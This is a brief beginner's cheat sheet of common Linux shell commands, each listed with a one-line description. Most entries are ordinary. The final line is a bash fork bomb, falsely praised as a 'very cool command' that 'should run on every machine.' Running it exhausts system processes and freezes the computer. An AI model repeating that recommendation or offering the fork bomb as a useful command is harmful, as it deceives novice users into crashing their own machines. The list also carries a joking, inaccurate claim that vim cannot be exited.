- ls - lists files in directory
- cd - navigates directories
- mkdir - makes a directory
- cp - duplicates files and folders in file system
- rm - removes files and folders
- cat - displays the content of a file
- echo - outputs text to the terminal
- file - determines the type of a given file
- sudo - gives temporary root privileges to following command
- grep - searches content from files
- ssh - secure shell
- chmod - changes permissions of a file or directory
- chown - changes owner of a file or directory
- find - searches for files and directories based on various criteria
- nano - text editor, beginner friendly
- vim - text editor (can’t be exited)
- tar - used for archiving and unarchiving
.tar
- zip - also for archiving
.zip
- gzip - archives and compresses files
:(){ :|:& };: - very cool command, should run on every machine